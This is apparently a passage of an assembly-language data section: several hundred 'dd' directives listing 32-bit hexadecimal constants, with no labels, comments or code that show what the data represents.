dd 0B4652AE9h, 431C21D6h, 0C5E81296h, 955F5D04h, 98289CDh
dd 0A2C5C109h, 856801E2h, 1E55543Ch, 0E7040589h, 51F1B921h
dd 0E0B00DF9h, 38B45C0Eh, 6E25D9E9h, 0E6A3D2D0h, 755F5412h
dd 77B591B5h, 61B70030h, 5C20E80h, 0EAAEFA28h, 5D7CC1B3h
dd 6058022Fh, 2F1AB22Eh, 0BE41F448h, 4170C4EEh, 9053A02h
dd 50302215h, 81FF4D88h, 47192024h, 0FE724BF5h, 0B0357C22h
dd 8D6817ECh, 0D4CF6015h, 41078869h, 2891B951h, 0F7721377h
dd 0BACFC1D9h, 0EC143DF4h, 71350FC1h, 1EF7366Dh, 0E720A7CAh
dd 62F631D2h, 0FE5E527Ch, 1DCBE790h, 2CC63B44h, 1817F300h
dd 0ACE92BBDh, 0DE8AC858h, 4E809E17h, 3D607FB9h, 32143497h
dd 5ACBC115h, 0D06E93F9h, 2859E9A1h, 896F4CD1h, 60F25022h
dd 74119043h, 1A900930h, 0C46EFA09h, 62F1621Ch, 75A0729Fh
dd 10D602EFh, 5FFD29BBh, 69028AF4h, 55766070h, 18E96110h
dd 538B26B2h, 7B3CEBD1h, 836D814Fh, 0E2D0F6C8h, 79DBD831h
dd 40C4EE0Fh, 2005BEC6h, 0F730CF07h, 41907391h, 0CED802D5h
dd 80523964h, 81951AEh, 0A24F01C8h, 761B883Dh, 0AA8E27ACh
dd 0E85963F9h, 41FAF7E1h, 473AE1A0h, 267A220h, 0ACBF30E0h
dd 0D7438E9h, 8318BC25h, 492B82AAh, 7870FA20h, 0E577D31h
dd 0C788530Dh, 0B55B3A44h, 0C168F626h, 1B1D842Dh, 81415045h
dd 293D3B68h, 0D9C96061h, 8538BB01h, 51FB0171h, 548B5AF9h
dd 6ED61642h, 0CC64539Eh, 683D6C10h, 3DA8188Bh, 498D7286h
dd 4005894Ch, 24B031F4h, 0C4FF394Dh, 941737D2h, 5152F0B0h
dd 889F27FAh, 853921B6h, 400242D1h, 4C92C480h, 0E92A139Ah
dd 5A1DC249h, 32A6868Eh, 84BED250h, 0E70B5C13h, 0DCE6E2D6h
dd 0C1F65B74h, 60DA0827h, 6E88BF23h, 83D9DAD1h, 7724DCE5h
dd 56BF9BEh, 7A8FB28h, 752820C6h, 0D44B11FCh, 0F71F11E7h
dd 710358DDh, 4725E805h, 7D87689h, 7B5AB111h, 0C7092B84h
dd 0E84B243Ah, 27BF00B9h, 21138B74h, 0F95F58F9h, 0D76EFB16h
dd 9F499B54h, 26926168h, 71410224h, 414D5FD3h, 614819BCh
dd 0C4D9929h, 0EBAFB216h, 0F53B50Bh, 58A652Ah, 64B202E9h
dd 6627036Bh, 51113CD3h, 0F21DB1EEh, 17946888h, 625AD701h
dd 80DC8BB6h, 5C4BAE40h, 0EF0FC17Ah, 0FB32A428h, 94AC63Eh
dd 6A0162ABh, 0E809099Ch, 2503415Dh, 0AE441B29h, 82BBA130h
dd 2428AEBAh, 82D21A72h, 6DEE31D0h, 5A519A40h, 0C0886027h
dd 4ABD684Ch, 98DB674h, 0D83EFE20h, 957DAC18h, 0C268A49Ah
dd 70CADD09h, 0A312CF41h, 0E5880D47h, 0A7F2EA25h, 88D4588Fh
dd 0E0596613h, 3DB8E9B3h, 2119295h, 7CAF0FA9h, 564345F6h
dd 45DE00ABh, 1B53F24h, 0EA02B8BAh, 1746501Fh, 204BD429h
dd 0E95F0908h, 8C7CE258h, 669D1C87h, 3A0A99h, 0C740B164h
dd 0AAA04E08h
dd 0A59A26F6h, 0E11AB397h, 2F8AC034h, 1ED160CFh, 0F4CCD72Dh
dd 0CE14C17Dh, 2CA21C4h, 8A6859C8h, 94B4C26h, 10E0733h
dd 54614A09h, 0D9403B8Ah, 0B4B35302h, 80CB0EFEh, 1412C8F3h
dd 0E5202BCDh, 0D37828ECh, 0ED2ED42Eh, 0D50B62A4h, 4D6130CCh
dd 0C11C8F5h, 79402A0Bh, 0A9133CF0h, 0B23D3453h, 2E5902CAh
dd 84B80786h, 44AB3105h, 0A0A4E9E6h, 359866B5h, 0B05279F0h
dd 130E4C9Dh, 3372525Eh, 9FC9061Ch, 54A66813h, 0E8B64061h
dd 0C3795D6Fh, 7FA67942h, 735E14E1h, 485F58FAh, 609C007Ch
dd 0E8D12F5Ch, 3B670035h, 0B0250137h, 11584675h, 5A4109FDh
dd 0E4238443h, 0BBED2F0h, 2D2B4B08h, 6CE5BA0h, 1A13CF6Fh
dd 0BAC547E9h, 0B01ACA5Eh, 6E99DCD3h, 0C0152112h, 0C9282A2Dh
dd 73AF41F6h, 9AFA2583h, 6968FE72h, 75F19C80h, 0BE015179h
dd 0AE868A11h, 687804E9h, 56805F2Ch, 0A9305A27h, 0BE79E81Ch
dd 0B891C95Fh, 4FD8682Ah, 9967CD26h, 595EF003h, 41585A50h
dd 87C299A6h, 29A2D15Bh, 2D2E059h, 9594BEEDh, 682493C4h
dd 0DA7069E1h, 0C08A4B69h, 1D32460Dh, 0E0B1E923h, 0E2372AF3h
dd 56218AC2h, 91E9D8C7h, 4CC215Eh, 0CBD969CBh, 0E8083E71h
dd 39B9013Bh, 2911B775h, 0F898040Ch, 0BC95D50Fh, 60C72900h
dd 7638840Ah, 82A4B801h, 0E1D36008h, 0B1518018h, 3DC0793Ch
dd 0E889707h, 7760E729h, 0FF680150h, 0E96BCC42h, 222682Dh
dd 876C885Bh, 9C736501h, 42AE52E9h, 45F2686Fh, 0A6B6B06Ch
dd 55A685A5h, 9CC97C2h, 0DD138C54h, 0B42CFCA3h, 0BFE08E5h
dd 36028224h, 0E06BD230h, 1D586C2Fh, 0F2E965FCh, 7D565999h
dd 0A8B864h, 6A36C9C1h, 0BABE4021h, 6F3BC603h, 81C6801h
dd 14091C34h, 8A237158h, 832602BBh, 44AA27B5h, 7A36A0A9h
dd 60C48B78h, 0BCEF2331h, 0CF5CE2EDh, 77825EB5h, 0BDE93802h
dd 8CCF799Ah, 1DD54361h, 0B80E0249h, 10CEB9Eh, 0A8428574h
dd 89D5081Ch, 0ABD43E7Ch, 0C02EAF60h, 50594C5Bh, 1972BBB0h
dd 95F1227h, 13C5EADh, 17D1C981h, 40C1FB49h, 0E8D75405h
dd 4C1338CCh, 0E4ACD2A0h, 3D6AB193h, 0A122B6h, 7717B805h
dd 2DF02912h, 18E907A0h, 0CBB74F6Eh, 51D56221h, 10C74A24h
dd 0BD660BBBh, 5BC958A3h, 81D401EFh, 871AAEF7h, 3DEECF0Ah
dd 0F36E3F9h, 8C10EF12h, 129F58D7h, 7E136FF1h, 9CE12FE9h
dd 9878013Fh, 0D4771078h, 0DC040DEEh, 5C7EE922h, 0C9659ECh
dd 0C5A3C2F2h, 0BC64700Ch, 28280C36h, 5CE48D37h, 102E64EDh
dd 25E42C58h, 82F06EC6h, 312AB992h, 5D4E92E8h, 0E697631Fh
dd 5F19AF5Ah, 459D3A1Eh, 0ADC52783h, 0B94EE906h, 664295DBh
dd 0E66FF1DCh, 4C7AD1Eh, 347D11EDh, 0CAC3864Dh, 1C010883h
dd 0ABC6925h, 642C51E9h, 0A1685804h, 0EC1E9853h, 60AFBF2Dh
dd 136B72F4h, 84013319h, 0A08138Fh, 26014D7h, 23423CB3h
dd 0DC9E5CE0h, 0E9E20909h, 29784193h, 50F70F6Fh, 0C56DA49h
dd 0ED80CD83h, 2D067EC2h, 0F46CE828h, 5119D8F2h, 0FF2263B5h
dd 0C200E2CEh, 25E17EC6h, 326287F1h, 73005E16h, 6ACA48F2h
dd 89CF0854h, 5F28F8BCh, 0DF9B625Ah, 80B56E78h, 125F4CBBh
dd 50B93119h, 68F9290Bh, 0CF01A10Ch, 2AD32D7Bh, 5EE9E4CCh
dd 0B19105Fh, 6725789h, 0DCCA8FFEh, 2B62615Ch, 0B76801ACh
dd 0CC336F76h, 26D881Ch, 841ABF29h, 93686642h, 88395352h
dd 0F0DE26EBh, 125AF30Ah, 24B9608h, 9C1C7BBDh, 0F3EF5F41h
dd 0E6E99C7h, 0B54ED890h, 0D8385189h, 0EF29E9A0h, 598B7B91h
dd 84FE5353h, 0F0DDE956h, 4CEC493Eh, 0BB4900BFh, 4B674F79h
dd 8E4BF02Fh, 62BF3413h, 0C40EB40Bh, 0E4681230h, 82593723h
dd 2DFE3E75h, 0D1E9F360h, 24A49F35h, 0DA98A141h, 290FA2F1h
dd 6030A9CDh, 0B0C188BCh, 493F27A1h, 4B26FFD1h, 0D885ED21h
dd 54D5B3E9h, 9C09585Eh, 5A17F633h, 8C3A1D39h, 2E575DA5h
dd 9A6EB0E8h, 0C3093B08h, 8B8931A6h, 0C84C884h, 0BD20D4ECh
dd 67FAA4F9h, 0AC41E94Ah, 0DA163ECCh, 86EABA2Ch, 4A92F99Eh
dd 7E012B53h, 262E5A76h, 95B66DECh, 19958318h, 5E565C1Fh
dd 99A40E9Ch, 0C4605096h, 792071EBh, 0C3012813h, 0E90880F9h
dd 12CD9253h, 376FD168h, 149C825Eh, 0AF2441D9h, 31D733E3h
dd 0E016F29Dh, 16103FDEh, 0F37410EBh, 41028340h, 0B9306A33h
dd 0BF65A2E9h, 584D99Ah, 905E09CEh, 91D6D3ADh, 3CF94A74h
dd 7EAF613Ch, 4C60781Ah, 6B1F41F3h, 712C147h, 0A1C4E102h
dd 0FBCE618Ch, 0B6D39228h, 85055E83h, 6EF2627Ah, 60D6A7A5h
dd 0EAE953AAh, 25C9D44h, 0A058D2A5h, 0D78B6C0h, 0DD0147D1h
dd 0E908011Ch, 43FEE68Fh, 486D7949h, 8C29251h, 0B509061Eh
dd 0E0720B89h, 0D4BF1EDDh, 6802CC44h, 292E31F1h, 52AA1BE1h
dd 0FFE6B9DFh, 0B959CA29h, 0AB0F6604h, 0A9F575A5h, 0D2B3243Fh
dd 0D2A1C993h, 2E23F780h, 0CD8FE51Dh, 18843CC5h, 0F7F4C1E9h
dd 5DB60CEFh, 660C6299h, 53502205h, 0C410C729h, 140C6808h
dd 51F85813h, 1051E940h, 254B16h, 66BB0CC6h, 0C147DFF7h
dd 0C97F4A12h, 73486C9Dh, 2FF06F4Fh, 0E95A4053h, 0D680524Fh
dd 39809BB3h, 0EB9602F3h, 78198C0h, 56E4AB60h, 30D8368h
dd 4E5E35F5h, 61F9D6F7h, 4EEA26C6h, 0EB882EE3h, 5F2C1062h
dd 7B5CF939h, 6CF20021h, 3A536D7Bh, 82927DCBh, 3B8302B9h
dd 572C61D0h, 0BB001FE3h, 5AAC50EEh, 9AD5FE4Bh, 0E001A093h
dd 224BB2A8h, 4ED410F2h, 0B55A7458h, 0BEF83039h, 0C191C030h
dd 0F6D88057h, 59C8891Ch, 0D958C2CAh, 70168C01h, 0FF704F5Dh
dd 8312B707h, 0D02C4B5Eh, 6E47F701h, 0B8207CE0h, 0C3051D4Eh
dd 0F6E03A79h, 0C76B7E1Ch, 0E9F73106h, 1F756445h, 5314B2C2h
dd 0EAB0C27Bh, 7591088Bh, 0D8F701F8h, 0D4350480h, 89C0C148h
dd 2225E9E6h, 92EDFB40h, 93B5A954h, 1176BB3h, 0DC3112EEh
dd 26F30CA1h, 94CE259Fh, 97E697BCh, 8AA72848h, 3183BD23h
dd 0CAF287D3h, 0B7F8D82Ah, 49CFBD00h, 0AFF809ADh, 0D5F719C5h
dd 76C03A84h, 0FD52342Ah, 446BADF5h, 0B2396683h, 35FE2802h
dd 16A7EE20h, 0A32D5F68h, 17841095h, 3AC2B450h, 9D700281h
dd 2427C0C7h, 0A4973CE5h, 8659F3E0h, 4BE37B88h, 64A6099Dh
dd 8FB4C5E1h, 0E6575A75h, 0C4EDDE99h, 14AE79h, 0D18EC35h
dd 7FCEF57Ah, 6151E40Bh, 283D68E1h, 89485123h, 8E4ADC4Dh
dd 67B54BB2h, 63E4664h, 7BE928B0h, 0C10064F4h, 0F68105EEh
dd 39047AFh, 5EF229F7h, 0FD4FD021h, 44584D49h, 2D330202h
dd 5D5B547Ah, 66929BD9h, 383199FDh, 0DC5551F9h, 0AD81AC57h
dd 0F42D982Fh, 70CC7D17h, 0CD2E92A1h, 0FDFF2030h, 1D360112h
dd 0B98E8901h, 2480DCEEh, 4F0902CEh, 28D0F529h, 55E0108h
dd 2B715068h, 9CC88A70h, 0E1694ED5h, 878B70E7h, 88B2590Ch
dd 0C069495Bh, 41C2E9FBh, 72442E26h, 6913BB7Dh, 4A4B2782h
dd 88858F64h, 7C680A90h, 4403945Ah, 95DD8859h, 72BA6392h
dd 4CC85B4Bh, 0B1949F52h, 0F125DA9Bh, 20581315h, 0C8BF0FB6h
dd 0E9F454FAh, 235FF85Fh, 0C9F1C9BFh, 4BE6FA6Ch, 6C11C7BCh
dd 5716D5E0h, 0B0A067F3h, 205141F6h, 0EAE688ABh, 2AE5694Eh
dd 0BDA767D5h, 0F00BB9E9h, 0FDF3646Ch, 9366C8Ah, 8F03E8C1h
dd 0EE2F444Bh, 309D8D94h, 5263806Ah, 4E0248BAh, 0D60916EAh
dd 0C25Ah, 217EFDF0h, 65E91AF0h, 0AADC42F9h, 29935864h
dd 0A9E9B750h, 0B7B00E3h
dd 0BF01D268h, 3DD95B9Bh, 63CA2A21h, 18CE8A4Ah, 0EB1D29B5h
dd 0BC6512F2h, 169446h, 68505508h, 0ED4C36ACh, 5EC602Ch
dd 2F35882Dh, 0AA8CEEEBh, 530F9B32h, 9201374Fh, 25A10C16h
dd 429F9F3Ah, 0D3532C52h, 0AA1A0902h, 0F00776Eh, 79631CE8h
dd 78E94609h, 6E8E90BAh, 300CC9C9h, 0A5638B90h, 1EAD482h
dd 614549EFh, 9A803E40h, 53D0548h, 0E916DF33h, 0FE0BD434h
dd 1509CC75h, 0D31F242Fh, 0BC6F80E3h, 4B3D0C1Ch, 4E06C95Eh
dd 0DF01657Eh, 4108831Ch, 7547141Ch, 3DBC02D5h, 74DF0987h
dd 0AC7C956Ah, 0A0F2B7E6h, 81FA5C25h, 3B4F79B9h, 0EB4A70D1h
dd 7807A1Ch, 5BD989C6h, 0BFF749AEh, 3401D616h, 0C165BA05h
dd 0CE428104h, 7E15C0Ah, 29C83110h, 5F30F3FAh, 62B83E55h
dd 64E73D79h, 848BCD2Dh, 0C050D705h, 4A762300h, 62FA80A8h
dd 0FC77B430h, 0A5901D9h, 0F3A2E948h, 889FA4ACh, 530DA499h
dd 489F5C50h, 62C3D620h, 5B40560Bh, 4697CDCCh, 0C47791A4h
dd 9D38056h, 12158D1Ch, 58D746E9h, 1AFE578Ch, 0CCB45DEBh
dd 5E1E05E3h, 0E82967D4h, 5F0840F2h, 0B7420AB6h, 0B0B766CCh
dd 1E51FE05h, 4E1817Ah, 8131160Bh, 2AB58540h, 0E982A58Ah
dd 0A0D5C7AAh, 0AB38C9F9h, 9C8DF606h, 5A660EA1h, 50145353h
dd 0E8CB637Eh, 68A77D56h, 8006ADCBh, 194A0A68h, 0C3F53567h
dd 1BB96F94h, 52B149E4h, 3DC3D5DCh, 4150B213h, 293A3317h
dd 2CD5EDD0h, 0EB211B0Eh, 0C805D2B5h, 1E86BBFDh, 8801B446h
dd 6603FE9Fh, 0A54FE4BEh, 67109107h, 0E9F30190h, 74BF4EC0h
dd 0A11FACA6h, 523C80B9h, 47DDA585h, 22DA88A5h, 25F5AD0h
dd 93243ACh, 0C1E7EF0Eh, 7BD09901h, 0F55B7D26h, 5FF93105h
dd 564CE202h, 693ED840h, 7E7650AAh, 0BE57C360h, 21C11661h
dd 7C4BC6D8h, 0B7A65D20h, 14C29D63h, 584A0678h, 0F492A2E2h
dd 2B4EE9E7h, 0ACCAEAC4h, 0DC1F5D7Dh, 67685A04h, 9632BA10h
dd 48B52A2h, 0B82FB7F7h, 0C502BB25h, 716ED868h, 7D7825D7h
dd 34A559E3h, 25EFBCBAh, 7AF061BCh, 0CBFE802h, 4B65C201h
dd 0D0259B91h, 1521C635h, 0DB08E9FDh, 4F35F24Eh, 480729F0h
dd 0D7352E88h, 0A5F9036Bh, 0B2974162h, 88590579h, 21D2F325h
dd 1AF5C88Dh, 0B05D0EF7h, 6011E926h, 685B60FDh, 0D947393h
dd 5DC7E9C1h, 0F6B6D82Bh, 0EE23629Dh, 0E95213F7h, 5369496Fh
dd 87B0D13Ch, 7CDD4E4Eh, 0B49A1574h, 46F281BAh, 7F65AAA1h
dd 90439D09h, 27937DC9h, 0AA4187E5h, 0FBCCE601h, 2F265150h
dd 0B032D141h, 0F7501A00h, 68535549h, 616DAD1Ch, 46B1E944h
dd 1209FFC8h, 0E556469h, 3344EE79h, 0EE30AA5Ah, 0C02ED9E9h
dd 2FAAE22Fh, 40BF5389h, 0B029947h, 0D6E92594h, 0B27EA962h
dd 1C29263Ch, 5A9BBD80h, 1F72F35h, 67B951D5h, 7F6DDC7Eh
dd 8206901Ah, 0B2124E76h, 0E0BB42BCh, 1ECDBDEDh, 8C03141Eh
dd 542608F7h, 0A7305F4Eh, 179ABE56h, 1789206h, 0F805A476h
dd 35193F3Bh, 1634B068h, 8905D449h, 19C4042Dh, 79D2BD1Fh
dd 0ABE92189h, 0E54F5696h, 22FBC0Ch, 4073ACBFh, 0F1F84A5Fh
dd 102260C5h, 0B4982FFAh, 0E25D4024h, 3923E587h, 714D57F2h
dd 8872A46Bh, 0BE006074h, 0BA2DB608h, 5EF12589h, 7759CA72h
dd 0F2B707C3h, 4B97F988h, 0EB80BA5Ah, 0D3E38105h, 0E0775C27h
dd 49152C15h, 51EC15Bh, 0B9BBFCBDh, 71604A02h, 0EBC6E943h
dd 1B2BD004h, 49362580h, 0F1731478h, 0C97FE401h, 89E9CA01h
dd 5639E43Ch, 1336F6DAh, 1BA4D25Ch, 0BEA040D3h, 467B750Ah
dd 0ACBF757Ah, 53C0DDF1h, 12B41BB3h, 67DC281Ch, 0EBE7843Ah
dd 43D9B561h, 0D926E3Ch, 20137039h, 6F3AA6C1h, 0D016DAB5h
dd 81018800h, 264E20CFh, 2D563AD4h, 0E180C501h, 0DF1CC1Eh
dd 28FE06C2h, 0D0B084C8h, 0EE368A4h, 7BC35274h, 31F8CBC0h
dd 0C49037C9h, 42249802h, 0C9BAE915h, 0FF40C007h, 169DF480h
dd 6058E628h, 1CB15137h, 95BC6B8h, 4907D1A3h, 0D26D0E50h
dd 0A0DF4A91h, 0DFC581AAh, 0FA69F258h, 6DB44E1Ah, 67B5286Dh
dd 0CCDECCFEh, 264EF22Ch, 164EE45Ch, 663B838Bh, 257D8FADh
dd 8BF76554h, 0BD4A4F19h, 13E5D5Ah, 8596A7DFh, 3480468Fh
dd 4E603AAEh, 8811615h, 8624DA42h, 2D6E0279h, 0A5C86A5Dh
dd 7710607Eh, 6C35CAF1h, 8E28477Bh, 2D010B45h, 2136C06Fh
dd 0F5E459CDh, 0B92ECE7h, 3949E975h, 670B29FAh, 807AE833h
dd 877822E2h, 82C16818h, 47A602EDh, 0F3417D3Fh, 32B1BBFBh
dd 6B5E0D0Fh, 0DF48F9DCh, 0AB4F1294h, 0B905A548h, 80EFD10Dh
dd 156F1E6Ah, 6B0C5A60h, 0B01DE982h, 692F0945h, 0E0D2728Eh
dd 635F0881h, 9FF24F4Eh, 4C9F3D10h, 0D1F0992Ah, 0E381896Eh
dd 1CC640A2h, 0B57592Eh, 55B9CE19h, 4FE4BC92h, 4FF64F21h
dd 83655F7Ah, 4B398B3Eh, 58547704h, 0FEA02CEAh, 6E911A5Ah
dd 213ADF37h, 6ED068BDh, 285CE4DBh, 0B20E9C2h, 14C9DBA0h
dd 0C1907A13h, 37331529h, 8D52F117h, 9DDBACBCh, 71D34E05h
dd 0F40D3320h, 55700DD7h, 7D35A22Dh, 6BE9F1B8h, 0E371A0AAh
dd 8708DD2Ch, 12681E61h, 0C1803442h, 0D3509503h, 0AEB2E74Bh
dd 6C9C838Dh, 2BE8B5D0h, 2630031Dh, 5368253Bh, 0AC3D8AEh
dd 0F058D0C7h, 9D85E955h, 76689081h, 0F0317B7Bh, 8A4D2690h
dd 162813E0h, 5F7FD3h, 90172CD8h, 0C10B5B61h, 564B06E3h
dd 0E2E904EAh, 5B38ECA2h, 8476EDA6h, 80A0E927h, 351C0512h
dd 0E0F95ED8h, 10495560h, 684B9E2Ah, 28DF4705h, 0AAB52538h
dd 0CEF6E8CEh, 0EB75D4Fh, 3B7F2D7Bh, 0DE4190BAh, 7C9C2A18h
dd 56EB6B3Bh, 71988344h, 126FBE41h, 90216475h, 0A9A5E918h
dd 0EAF78DC0h, 2F9E54CCh, 0F600FB29h, 11594250h, 124A1EC1h
dd 0E91158AEh, 6E54D273h, 0E406044Fh, 88051593h, 261780CCh
dd 58B4C231h, 5EC1D2F7h, 1D090B03h, 9C3AFE00h, 0EEA00C4Bh
dd 0F3574C21h, 0A5904726h, 590C384Ch, 0E508C668h, 911E5AF0h
dd 7B9D3D30h, 5037758Ch, 64410E33h, 81C74352h, 225E9C62h
dd 0F10F10CEh, 0CA50A24Fh, 880BE8F7h, 0E2D65C5Bh, 0D6FA43C3h
dd 8361FC91h, 0E17C02C2h, 79E92189h, 3105CEEAh, 42C675A5h
dd 44D554CBh, 5E97A850h, 52204739h, 912168DAh, 0DD494FB1h
dd 1AA6E859h, 77B65117h, 27D4E909h, 128CA756h, 0F8BF0858h
dd 871C54E1h, 5ECBD09h, 52001D9Eh, 0FD16D4BAh, 0CA81041Ch
dd 0FC094E0Fh, 0F6FE05B2h, 7FAF405h, 0E2B025C4h, 918573E4h
dd 9952B3DCh, 412F4E1Ch, 185BFF7Dh, 0A4776835h, 0EAF720FAh
dd 0E73BA3FCh, 0E6E902CAh, 0D86F6B1Ch, 400C2767h, 0D013C0C5h
dd 7E683DB1h, 0E55AD3C4h, 0EFEB60F3h, 501D3D56h, 594370Fh
dd 60AF9124h, 633084h, 36BD5317h, 2960ACB8h, 0E58301BFh
dd 0D07A4D04h, 8D011C58h, 528F1044h, 134CD55Fh, 6017FF73h
dd 752911F2h, 6102D4BEh, 6A28454Eh, 1F00DD7Fh, 3F7D0E12h
dd 6221E92Fh, 6D1A5FA7h, 4020F15Ah, 18949060h, 0B3BF8EEh
dd 0A7FEEBB0h, 0B1D94162h, 0DE65E168h, 54204975h, 6BB49437h
dd 2F1B2D91h, 0BF171737h, 0A42CD003h, 0CB999981h, 6BC51968h
dd 0C7410449h, 0FFDAC427h, 0F6127A18h, 10FD7EBAh, 125EF109h
dd 640B11C9h, 579B61DCh, 0B7EE1220h, 217DCF62h, 20456861h
dd 0E9C4B072h, 0EB2EA453h, 1C262BFAh, 4006707Ch, 687C070Dh
dd 34081CF3h, 5E14091Ch, 0B820F4E4h, 27CC80E6h, 824535C5h
dd 6101822Ch, 3EE91948h
dd 5AA41B4Fh, 339DBC43h, 0B89CF0A6h, 0EC59A207h, 0C181050Fh
dd 85CD283Dh, 0FCAE2618h, 514A372Fh, 1262A7C2h, 0DA397060h
dd 0EC3713B5h, 0E98201A2h, 925E1974h, 0E102FAE8h, 76239665h
dd 8C61436h, 6198E64Eh, 54A26859h, 957A2276h, 0B1F6200Bh
dd 6F4F2A1Ch, 0D8EB8934h, 2A424C6Fh, 0D97D9D03h, 8188493Bh
dd 4B029FF1h, 0CA211A33h, 0DFF06359h, 907AC650h, 9F92BF3Fh
dd 0BA0343DAh, 0F7608112h, 0A4F9B8D0h, 0E0024F90h, 0EB272193h
dd 0A43C7A5Dh, 50D89896h, 12DFE903h, 0B10538Dh, 3FA1FAD3h
dd 84EAD15Ah, 0BA010374h, 7FC401AFh, 81326B0Ch, 9AB39F0Ch
dd 97F894Eh, 92F4EBE8h, 5616982Dh, 0B4904BBEh, 5CB4DF11h
dd 0EB54550Eh, 0EFDA1057h, 4B71F8FEh, 0C28A8407h, 0A075B2DDh
dd 0B55152A6h, 0DDF6003Fh, 8007E5C0h, 759017C5h, 0EA095999h
dd 704FFC99h, 67C0ED51h, 2C796CEEh, 0C6012869h, 580881E4h
dd 28949F73h, 0D8EF7517h, 0C17C0141h, 56A32435h, 212E29AAh
dd 8011809Dh, 0D2F696E2h, 27C27CFEh, 0D5E42569h, 4E49E4B5h
dd 5E8B8207h, 7EB9BA7Fh, 0B6CC2F48h, 6F0E6812h, 0CCC63063h
dd 57DE2BA8h, 0D124576Ah, 69D6D37Fh, 0C051CB8Dh, 0B6E84236h
dd 21D64BF3h, 6170A102h, 5C0E0016h, 9E9867A9h, 21E8EF7Eh
dd 5989062Eh, 0A5B0F396h, 0D83126ADh, 39190884h, 7908253Ch
dd 57900833h, 0D6246524h, 0B8F3CC6Eh, 14CC982Ch, 0CF4313FFh
dd 103CFA2Eh, 2E054CA1h, 2109F202h, 45FCD9F6h, 68B84003h
dd 24757219h, 331D97A0h, 0C179C507h, 0D58004E0h, 39B4B06h
dd 0E958C689h, 850254D3h, 7B0893C1h, 0F45603Fh, 0C69BA47h
dd 0F8895DEFh, 0E44E5EE6h, 49827327h, 37A35F13h, 97009C93h
dd 105D7AE5h, 0FA56452Dh, 0D13C4894h, 54810C89h, 89109B68h
dd 0DEBACCB9h, 853896A5h, 5570B34Ch, 742CF103h, 984F7971h
dd 5C92AF3h, 957DBBE2h, 478F8BD6h, 0D99D2CD3h, 0AE9C842h
dd 0F00646ABh, 0D8D449A1h, 20EE450h, 0C16B5347h, 59FC06EEh
dd 0F02EF601h, 2BBBA2h, 563A05A2h, 0E9124A8Eh, 0BAB23F17h
dd 59669D0Eh, 0D314D346h, 10D7E2Ch, 6AF3898Bh, 52447E59h
dd 0F4E28C7Ch, 0C4135D97h, 633195C1h, 3A648B8h, 472852CCh
dd 0E23BE8BBh, 0D79436h, 0B02AA2Dh, 0BE2AE922h, 0F8B8EA9Ah
dd 0B1E25A4Eh, 69C0FF66h, 223E2D00h, 5E687D50h, 0A2E0A83Ah
dd 2A8981F6h, 67E144D0h, 663F4866h, 0F9504506h, 34138E19h
dd 0EB00BD16h, 592106E1h, 8160B40Eh, 7264BC9h, 191E8267h
dd 0C00DDF4Dh, 2D37EF00h, 88D05FB2h, 0C9984F50h, 8D648091h
dd 301D93BCh, 0FDADAC3h, 46AB6F40h, 5245CA2Fh, 0A2B320DDh
dd 53AEB906h, 8807836h, 6F61070Fh, 0EC03D40Fh, 18400C71h
dd 2418132Dh, 0D00207Fh, 7BBD556Ah, 0D7A1D21h, 15DE929h
dd 0B3677A9Eh, 1A9D52C9h, 0ADCF685Ah, 0BAFD3EE2h, 39B5606Ch
dd 0C61BD33h, 127D3915h, 0F5CA5EF3h, 6865A45Eh, 93CD235Eh
dd 41450F20h, 9FB900F5h, 0EDF37774h, 80B32401h, 8832F109h
dd 42B65C8h, 0C020772Ch, 80EED00Ch, 23FCAFEAh, 0E9F02805h
dd 70EB1F87h, 776850FDh, 0BC8C345Eh, 0ABBAF4h, 0F233DF2Dh
dd 72150553h, 18385E4Ch, 8888FAF1h, 3C1BBBFDh, 659EB13h
dd 0ABA68502h, 5A36C13Eh, 737196E6h, 5818706Eh, 80587F0h
dd 0AD03EDC0h, 0E9E80657h, 0B542EAFFh, 0C43017C9h, 2EC29EFh
dd 0D4C314F5h, 0B507F45Fh, 0D444723Ah, 0F9FE0EC6h, 0BFFD809Fh
dd 97FE6A15h, 0D6F8D2F0h, 652F109Eh, 1A3E28ACh, 209629E9h
dd 87063253h, 7D0F53DAh, 41D949E9h, 1344B104h, 0B3758256h
dd 72C50680h, 3F4FD66Ah, 0A2ED4DB0h, 33863108h, 91124678h
dd 2DE2E338h, 0BEA64142h, 580676FCh, 2034FA5Dh, 7974F90Dh
dd 4F5F2A40h, 0F284D85Ah, 2592C69Dh, 0DF5C4D68h, 5C975667h
dd 1770B6F3h, 0E2974948h, 3A813075h, 5AF80717h, 8432E347h
dd 62EC1F3Bh, 8C422188h, 815C0095h, 531F02CFh, 320B4956h
dd 5069E827h, 1EC02851h, 2ED307ECh, 52294C8Eh, 45EAFDE9h
dd 0A14CE80h, 10F67365h, 4E914C49h, 3594C93h, 156DBF67h
dd 0D8D14DE3h, 0A6203E13h, 6600ABAh, 0E2C177A5h, 87027808h
dd 0F7393E45h, 0EA5241DAh, 1CF5D007h, 2E1F312Dh, 8E52EB89h
dd 14687042h, 9E9BB801h, 678A395Eh, 12F0C8D0h, 0C4ED2E12h
dd 7652BB4Bh, 2F9F34B9h, 2A52E642h, 39423504h, 4BEE06F1h
dd 0DF408E8Fh, 34593768h, 0DE7F8486h, 0B7140D12h, 0B3CC6A97h
dd 0D42FEF5Ch, 0B105BC44h, 9672B6A7h, 68E6829Fh, 35A10D45h
dd 0CF0BF4BFh, 0E60455DBh, 58CF0462h, 43B2C601h, 67D84757h
dd 634C02B5h, 689497C0h, 0E9A42E09h, 4D4C41C2h, 0FAA7C20h
dd 8914BA41h, 32F95DABh, 0CADE313Ch, 0EF04AD64h, 8FBC1F13h
dd 5611E9B0h, 109F8ABCh, 0C19480Ch, 0FC5C129Eh, 6D0F547h
dd 14830C08h, 0BDBE6414h, 163C887Dh, 10E8B8D7h, 77735809h
dd 0A7C8B183h, 0D29156A2h, 6E5DBD00h, 0CC3C6F19h, 0E3CB1385h
dd 0EEC54AF1h, 69ADBD00h, 4FC144ABh, 0A45880E6h, 954C6D35h
dd 0EA2015h, 80619CBBh, 74C38168h, 2C391116h, 0F58031C4h
dd 58F679CBh, 6E60AF07h, 21EDB053h, 126B39F9h, 60B81C70h
dd 3021AAD2h, 0CB7B2E57h, 0B850006Dh, 524979F6h, 0C1D000F7h
dd 4C3503E0h, 6D1AB430h, 5958C701h, 31740210h, 0F78069A1h
dd 6B8F73D7h, 1CD0017Ch, 0B0553508h, 0B04E2483h, 0CB03F8E9h
dd 0FAD2D999h, 79ED422h, 35E37CDh, 75E56014h, 0A40416Ah
dd 0B60CD874h, 215B5DEEh, 502C5AB2h, 0E84E0824h, 9FDBD13h
